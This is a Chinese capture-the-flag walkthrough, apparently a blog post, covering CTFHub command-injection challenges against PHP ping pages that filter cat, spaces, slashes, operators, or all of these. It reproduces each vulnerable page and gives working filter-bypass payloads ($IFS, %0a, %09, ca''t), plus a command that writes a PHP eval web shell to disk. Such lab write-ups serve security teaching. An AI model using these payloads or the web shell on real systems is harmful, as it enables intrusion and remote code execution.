命令注入————ctfhub(过滤cat、空格、目录分隔符、运算符、综合过滤练习)

CTFHub 命令注入-过滤cat

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/cat/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>CTFHub 命令注入-过滤cat</title>
</head>
<body>

<h1>CTFHub 命令注入-过滤cat</h1>

<form action="#" method="GET">
    <label for="ip">IP : </label><br>
    <input type="text" id="ip" name="ip">
    <input type="submit" value="Ping">
</form>

<hr>

<pre>
<?php
if ($res) {
    print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>

可以看到cat被正则表达式给过滤了。
这道题方法很多
方法一
用less、more、tail等命令来代替cat命令
在这里插入图片描述
在这里插入图片描述

方法二
一句话木马
构造payload如下:

127.0.0.1 &echo "<?php @eval(\$_POST['shell']);?>" >> 1.php

echo -e 处理特殊字符
echo命令会调用$_POST导致原始文件中没有,所以要加一个
在这里插入图片描述

在这里插入图片描述
方法三
 反斜杠 : 例如 ca\t fl\ag.php

连接符: 例如 ca’‘t fla’'g.txt

然后都懂得:)

CTFHub 命令注入-过滤空格

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>CTFHub 命令注入-过滤空格</title>
</head>
<body>

<h1>CTFHub 命令注入-过滤空格</h1>

<form action="#" method="GET">
    <label for="ip">IP : </label><br>
    <input type="text" id="ip" name="ip">
    <input type="submit" value="Ping">
</form>

<hr>

<pre>
<?php
if ($res) {
    print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>

这里是空格被正则表达式过滤了
以下字符都可以代替空格:
然后就不过多赘述了

<,<>,%20(space),%09(tab),$IFS$9, I F S , {IFS}, IFS,IFS

在这里插入图片描述

CTFHub 命令注入-过滤目录分隔符

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>CTFHub 命令注入-过滤目录分隔符</title>
</head>
<body>

<h1>CTFHub 命令注入-过滤目录分隔符</h1>

<form action="#" method="GET">
    <label for="ip">IP : </label><br>
    <input type="text" id="ip" name="ip">
    <input type="submit" value="Ping">
</form>

<hr>

<pre>
<?php
if ($res) {
    print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>

反斜杠和正斜杠都被过滤了
方法一
我们先试一下 127.0.0.1;ls
在这里插入图片描述
发现这里有一个文件夹flag_is_here
我们再查看一下
127.0.0.1;ls flag_is_here
在这里插入图片描述
找到flag的文件了
接下来构造payload:

127.0.0.1;cd flag_is_here;cat flag_31961112137507.php

然后flag到手
在这里插入图片描述

CTFHub 命令注入-过滤运算符

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||\&)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>CTFHub 命令注入-过滤运算符</title>
</head>
<body>

<h1>CTFHub 命令注入-过滤运算符</h1>

<form action="#" method="GET">
    <label for="ip">IP : </label><br>
    <input type="text" id="ip" name="ip">
    <input type="submit" value="Ping">
</form>

<hr>

<pre>
<?php
if ($res) {
    print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>

这道题过滤了(||&)这些符号
不过我一直都是用;的呀,嘿嘿嘿
木大

127.0.0.1;ls
127.0.0.1;cat flag_2346763091385.php

在这里插入图片描述

CTFHub 命令注入-综合练习

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>CTFHub 命令注入-综合练习</title>
</head>
<body>

<h1>CTFHub 命令注入-综合练习</h1>

<form action="#" method="GET">
    <label for="ip">IP : </label><br>
    <input type="text" id="ip" name="ip">
    <input type="submit" value="Ping">
</form>

<hr>

<pre>
<?php
if ($res) {
    print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>

这一题过滤了一堆字符和三个单词(||&|;| |/|cat|flag|ctfhub)
在这里插入图片描述
这里我们可以利用url地址栏来构造payload。
%0a 是 换行符
%09 是 TAB键
于是构造payload:

127.0.0.1%0als

在这里插入图片描述

127.0.0.1%0als%09*

tab键可以自动补齐后面的内容ls%09*可查看所有的文件
在这里插入图片描述
得到文件flag_167523157129713.php

127.0.0.1%0acd%09*here%0aca''t%09*.php

cat被过滤了,所以用ca’'t来代替
在这里插入图片描述

  • 9
    点赞
  • 52
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值